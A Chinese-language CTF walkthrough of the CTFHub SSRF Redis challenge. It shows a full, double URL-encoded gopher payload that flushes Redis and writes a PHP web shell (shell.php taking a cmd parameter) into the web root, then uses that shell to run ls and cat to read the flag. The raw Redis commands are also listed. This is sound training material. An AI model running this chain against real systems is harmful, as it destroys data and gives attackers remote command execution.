CTFHub技能树 Web-SSRF Redis协议
hint:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
启动环境,依然为空白,查看URL:
http://challenge-bd5faa8b900de693.sandbox.ctfhub.com:10800/?url=_
通过GET方式传递参数url的值,题目提示为攻击Redis协议。
使用Gopherus生成所需攻击Redis的Paylaod:
选择PHPShell,根目录路径为默认值,使用默认的PHPShell,得到构造好的gopher协议Payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
其已经经过一次URL编码,并且将%0A替换为%0D%0A,只需对其进行二次URL编码即可:
构造最终Payload:
?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
发送数据包,题目环境显示504,但Shell已经写入,访问shell.php:
虽有脏数据,但页面已经存在,WebShell参数为cmd,尝试寻找flag:shell.php?cmd=ls /,得到flag文件名:
使用cat命令查看flag:shell.php?cmd=cat /flag_2596562d0e4a36c94823864f1d7a505b
得到flag:
其中Redis写WebShell用到的命令:
flushall
set 1 '<?php system($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
需要将其转转化为redis RESP协议的格式,在进行URL编码,具体参考:浅析Redis中SSRF的利用
版权声明:本文为weixin_44037296原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。